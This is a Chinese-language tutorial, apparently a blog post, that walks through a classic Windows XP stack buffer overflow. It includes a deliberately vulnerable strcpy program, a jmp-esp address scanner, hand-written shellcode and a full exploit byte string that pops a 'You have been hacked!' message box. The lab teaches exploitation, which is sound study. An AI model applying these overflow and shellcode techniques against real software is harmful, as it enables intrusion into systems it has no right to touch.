注意:这个程序我使用的是VC++6.0进行编写的并且在windows XP下执行。而如果你使用的是新版本的Visual Studio,由于微软加入了GS机制来防止缓冲区溢出情况的出现,那么本实验就有可能无法实现
我们先新建一个win32控制台应用程序工程

编写一个 不存在溢出 的程序
#include "stdio.h"#include "string.h"//十个字节char name[]="qianyishen";int main(){ //申请了11个字节的空间 char buffer[11]; //将变量name中的内容复制到buffer数组中(由于buffer申请的空间 > 10字节,所以不会发生溢出) strcpy(buffer,name); printf("%s\n",buffer); //加上这行代码可以使程序执行完printf之后停止,我们回车才可以继续执行,以便我们查看执行结果 getchar(); return 0;}
运行一下看看:
注意:在编译之前我们要先确定使用的是win32 debug版本,而不是win32 release版本
运行结果
成功运行
那么如果变量name中的数据超过11个字节会怎么样?接下来让我们实验一下
#include "stdio.h"#include "string.h"//20个字节,我们将数据量加一倍char name[]="qianyishenqianyishen";int main(){ //申请了11个字节的空间 char buffer[11]; //将变量name中的内容复制到buffer数组中(由于buffer申请的空间 < 20字节,所以会发生溢出) strcpy(buffer,name); printf("%s\n",buffer); //加上这行代码可以使程序执行完printf之后停止,我们回车才可以继续执行,以便我们查看执行结果 getchar(); return 0;}运行一下看看

打开OD(即软件:OllyDbg),并将 无溢出的正常程序 拖入其中
而此时OD向我们展示的代码是系统自动生成的,与我们本次的实验没有关系,我们 首先需要做的是定位main函数的位置,
那我们应该如何去寻找main函数的位置呢?
使用IDA来定位main函数的位置:
由于缓冲区溢出是与栈的空间紧密相关的,因此现在我们还应当分析一下调用这个main函数前后栈空间的一些情况,所以在这里我们还需要定位一下究竟是哪条语句调用或者说是call main函数,同样,我们仍然使用IDA来帮助我们进行定位
在我们定位完call main函数的位置之后,为了便于之后内容的讲解,我们在这里要说明一下 call语句的原理
现在,我们来看一下执行完call语句前后栈的情况
按F9开始执行程序,然后至断点处停下,再按F7进入call语句
可以看到 call语句的下一条语句的地址:00401699 成功入栈,且跳转到了main函数的位置
至此,程序已经运行到了main函数的位置,接下来我们继续按F8执行
由于我们在源程序中创建了一个11字节大小的数组空间,那么当我们进入main函数之后,首要工作就是为这个局部变量分配空间
继续按F8进行逐步执行,直至调用strcpy函数
由下图我们可以看到,调用完strcpy函数之后,字符串已经被成功的复制,且 返回地址 和 父函数EBP 依然存在
继续按F8逐步执行
可以看到,在执行到retn语句(即main函数的return)时,栈顶的值正好是返回地址:00401699
而 执行完retn语句之后,系统也成功的跳转至 00401699 位置处的代码,继续执行
至此,正常程序的分析完毕

查看错误报告的步骤:
由上图,我们可以看到,错误报告的address字段的值为:0x6e656873。结合上文对存在溢出程序的分析,我们知道 这个值即为覆盖之后的返回地址 。接下来我们通过对照ASCII表来将这十六进制代码翻译成英文字符,看看是什么
0x6e656873 -> nehs
令我们惊讶的是,该十六进制翻译成英文之后,竟然是字符串 "shen" 的反向显示(之所以是反向显示,是因为我们的计算机是小端显示的),而字符串 "shen" 正是我们存在溢出程序中数组变量 name 的后四个字符(请看下图)
由此可知,正是字符串 "shen" 这四个字符正好覆盖了原始返回地址
那么我们来做一个笔记:
至此,我们也就解决了缓冲区漏洞利用的第一个问题:精确定位返回地址的位置
其实关于精确定位返回地址的位置的方法还有很多,限于篇幅的原因,在这里就不做一一讲解
我们先将 正常的程序 拖入OD中,分析一下
通过上图的分析我们可以得知:
也就是说:将原始返回地址,覆盖成jmp esp语句所在的地址之后,当main函数执行完毕,系统将会去执行那个跳板(jmp esp语句),而此时esp寄存器的值正好是 0012FF88(即:原始返回地址位置的下一个位置),于是当系统执行完jmp esp之后,就会跳转到0012FF88这个位置,在这个位置继续执行代码,而恰恰这个位置正是我们shellcode代码所在的位置。
以上是返回地址没有被覆盖的情况,那如果返回地址被破坏了,esp还具有这个特性吗?使用OD打开具有缓冲区溢出的程序进行分析:
由上图的分析,我们现在就可以明确的得出,esp的这个特性不会受溢出的影响,我们完全可以利用这个特性来做文章。
那么,我们 如何得知 jmp esp 语句的位置地址呢?
#include <windows.h>#include <stdio.h>#include <stdlib.h>int main(){ BYTE *ptr; int position; HINSTANCE handle; bool done_flag = FALSE; //在这里我们可以修改将要查询的动态链接库 //比如我们想在kernel32.dll里面寻找,那就将其改为kernel32.dll即可 handle = LoadLibrary("user32.dll"); if(!handle){ printf("load dll error!"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++){ try{ //因为jmp esp语句的机器码为 FFE4,所以这里要这么写; //如果你想要查询其他语句,可以对其进行修改 if(ptr[position]==0xFF && ptr[position+1]==0xE4){ int address = (int)ptr+position; printf("opcode found at 0x%x\n",address); } } catch(...){ int address = (int)ptr+position; printf("end of 0x%x\n",address); done_flag=true; } } getchar(); return 0;}我们接下来便运行这个程序
由上图的运行结果我们可以看到,已经查询到了非常多的jmp esp指令的地址,这些地址我们都可以进行使用,在这里我们选择倒数第2个jmp esp地址:0x77d9932f。
也就是说,我们将要使用 0x77d9932f 来覆盖掉程序的原始返回地址 0x00401699。这样的话,程序在执行完main函数之后返回时,它就会直接跳到 0x77d9932f 这个位置,从而执行了这里的jmp esp指令,而执行完jmp esp指令之后,那么程序就正好会来到esp寄存器中所存储地址的位置(即:原始返回地址位置的下一个位置),去执行该地址处的指令,而恰恰这个位置正是我们shellcode代码所在的位置
在这里请大家注意,其实获取jmp esp的方法还是有很多的,而且不同的操作系统这个地址它有可能是不一样的,但是有些地址在很多系统上都是通用的,关于这个通用地址大家可以自行的在网上进行搜索。
好了,接下来我们再进行一次总结,我们主要总结这个char name[]="qianyishenqianyiXXXX"数组中的内容
我们之前一直在说shellcode,那么shellcode是什么呢?它其实就是一些已经编译好的机器码。
将这些机器码作为数据输入,然后通过我们上文所讲的方式来执行这些shellcode。
在这里为了简单起见,我们只让程序显示一个对话框,如下:
其实我们正常编写程序来显示这个对话框是非常简单的,代码如下图:
而在这里,我们将要通过漏洞来调用MessageBoxA()这个函数,那么就有些复杂了
为了实现函数的调用,我们的第一步工作就是获取相关函数的地址
#include <windows.h>#include <stdio.h>typedef void (*MYPROC)(LPTSTR);int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("user32"); //获取user32.dll的地址 printf("user32 = 0x%x\n",LibHandle); //获取MessageBoxA的地址 ProcAdd = (MYPROC)GetProcAddress(LibHandle,"MessageBoxA"); printf("MessageBoxA=0x%x\n",ProcAdd); getchar(); return 0;}运行一下
可以看到,我已经成功的查询到了MessageBoxA()函数的地址:0x77d5050b 。但是要注意,这个地址只针对我们目前的这个系统有效,如果你换了一个操作系统,那么这个地址有可能是不一样的。
另外,因为我们利用溢出的操作,破坏了原本的栈空间的内容,就有可能会在我们的这个对话框显示完成之后导致程序的崩溃,所以为了谨慎起见,还需要使用EixtProcess这个函数来令程序终止,这个函数它位于 kernel32.dll里面。接下来我们查找一下该函数的地址,
查找代码如下,在这里我们将代码保存为SearchExitProcess.cpp文件:
#include <windows.h>#include <stdio.h>typedef void (*MYPROC)(LPTSTR);int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32"); //获取kernel32.dll的地址 printf("kernel32 = 0x%x\n",LibHandle); //获取ExitProcess的地址 ProcAdd = (MYPROC)GetProcAddress(LibHandle,"ExitProcess"); printf("ExitProcess = 0x%x\n",ProcAdd); getchar(); return 0;}运行一下
可以看到,我已经成功的查询到了ExitProcess()函数的地址:0x7c81caa2 。同样这个地址只针对我们目前的这个系统有效,如果你换了一个操作系统,那么这个地址有可能是不一样的。
至此,我们编写shellcode所需要的函数的地址已经查询完毕
现在我们来总结记录一下编写shellcode所需要的信息:
在正式编写shellcode之前,我们先来讲解一下 如何利用汇编语言来实现函数的调用
比如说我们这里有一个名为TestFun的函数,它有三个参数,分别为a,b,c:TestFun(a,b,c)那么我们在汇编中应使用以下方式来调用该函数push cpush bpush amov eax,TestFun函数的地址call eax另外,我们还需要讲解一下 在汇编中长字符串的问题该如何解决(因为MessageBoxA()函数有两个参数是长字符串)
Warning:\x57\x61\x72\x6E\x69\x6E\x67\x20You have been hacked!(by q.y.s)\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6E\x20\x68\x61\x63\x6B\x65\x64\x21\x28\x62\x79\x20\x71\x2E\x79\x2E\x73\x29\x20push 0x20676e69push 0x6e726157 //此时,字符串“Warning”就已经入栈了push 0x20676e69push 0x6e726157 mov eax,esp接下来我们将使用VC++6.0,通过内联汇编的方式开始编写shellcode汇编代码,编写好的shellcode汇编代码如下:
int main(){ _asm{ sub esp,0x50 //注意:我们在此执行该指令,目的是将栈针抬高 xor ebx,ebx //用异或操作将ebx寄存器中的值清零 push ebx //我们这里将 0 压入栈中,目的是告诉系统:字符串到这里就已经截止了 push 0x20676e69 //将"Warning"字符串入栈 push 0x6e726157 mov eax,esp //将字符串"Warning"的地址保存至eax寄存器中 push ebx //我们这里将 0 压入栈中,目的是将两个字符串分割开来 push 0x2029732e //将"You have been hacked!(by q.y.s)"字符串入栈 push 0x792e7120 push 0x79622821 push 0x64656b63 push 0x6168206e push 0x65656220 push 0x65766168 push 0x20756f59 mov ecx,esp //将字符串"You have been hacked!(by q.y.s)"的地址保存至ecx寄存器中 push ebx //将MessageBoxA函数第4个参数入栈 push eax //将MessageBoxA函数第3个参数入栈 push ecx //将MessageBoxA函数第2个参数入栈 push ebx //将MessageBoxA函数第1个参数入栈 mov eax,0x77d5050b //将MessageBoxA函数函数的地址保存至eax寄存器中 call eax //MessageBoxA函数的调用 push ebx //这里之所以要push一个0,是因为ExitProcess函数其实是由一个参数的 mov eax,0x7c81caa2 //使用mov将ExitProcess函数的地址赋给eax寄存器 call eax //ExitProcess函数的调用 } return 0;}至此,shellcode汇编代码已编写完毕,那么我们应该如何获取它的shellcode机器码呢?
我们可以通过VC++6.0来查看机器码,步骤如下:
而上述VC++6.0中显示的机器码并不是我们全部都需要的,我们需要的仅仅是 shellcode汇编代码 对应的 机器码(即:下图绿框中的机器码)
然后我们将上述shellcode机器码与我们之前所讲的内容结合一下,便可以编写出以下程序:
#include "stdio.h"#include "string.h"#include "windows.h"char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //用于覆盖EBP前面的12个字节的空间 "\x41\x41\x41\x41" //覆盖EBP "\x2f\x93\xd9\x77" //返回地址 "\x83\xEC\x50" //注意:我们在此执行该指令,目的是将栈针抬高 "\x33\xDB" //用异或操作将ebx寄存器中的值清零 "\x53" //我们这里将 0 压入栈中,目的是告诉系统:字符串到这里就已经截止了 "\x68\x69\x6E\x67\x20" //将"Warning"字符串入栈 "\x68\x57\x61\x72\x6E" "\x8B\xC4" //将字符串"Warning"的地址保存至eax寄存器中 "\x53" //我们这里将 0 压入栈中,目的是将两个字符串分割开来 "\x68\x2e\x73\x29\x20" //将"You have been hacked!(by q.y.s)"字符串入栈 "\x68\x20\x71\x2E\x79" "\x68\x21\x28\x62\x79" "\x68\x63\x6B\x65\x64" "\x68\x6E\x20\x68\x61" "\x68\x20\x62\x65\x65" "\x68\x68\x61\x76\x65" "\x68\x59\x6F\x75\x20" "\x8B\xCC" //将字符串"You have been hacked!(by q.y.s)"的地址保存至ecx寄存器中 "\x53" //将MessageBoxA函数第4个参数入栈 "\x50" //将MessageBoxA函数第4个参数入栈 "\x51" //将MessageBoxA函数第2个参数入栈 "\x53" //将MessageBoxA函数第1个参数入栈 "\xB8\x0B\x05\xD5\x77" //将MessageBoxA函数函数的地址保存至eax寄存器中 "\xFF\xD0" //MessageBoxA函数的调用 "\x53" //这里之所以要push一个0,是因为ExitProcess函数其实是由一个参数的 "\xB8\xA2\xCA\x81\x7C" //使用mov将ExitProcess函数的地址赋给eax寄存器 "\xFF\xD0"; //ExitProcess函数的调用int main(){ char buffer[11]; LoadLibrary("user32.dll"); //由于我们的shellcode使用了MessageBoxA函数,所以需要导入user32.dll。这里为了简单起见,我们直接在原程序导入了。而在真实环境中,你需要在shellcode中导入 strcpy(buffer,name); printf("%s\n",buffer); getchar(); return 0;}现在,我们来尝试运行一下程序,看是否成功利用了这个缓冲区溢出漏洞
perfect!!!利用成功!!!
最后,我们再使用OD打开这个程序,看一看该程序中shellcode的情况: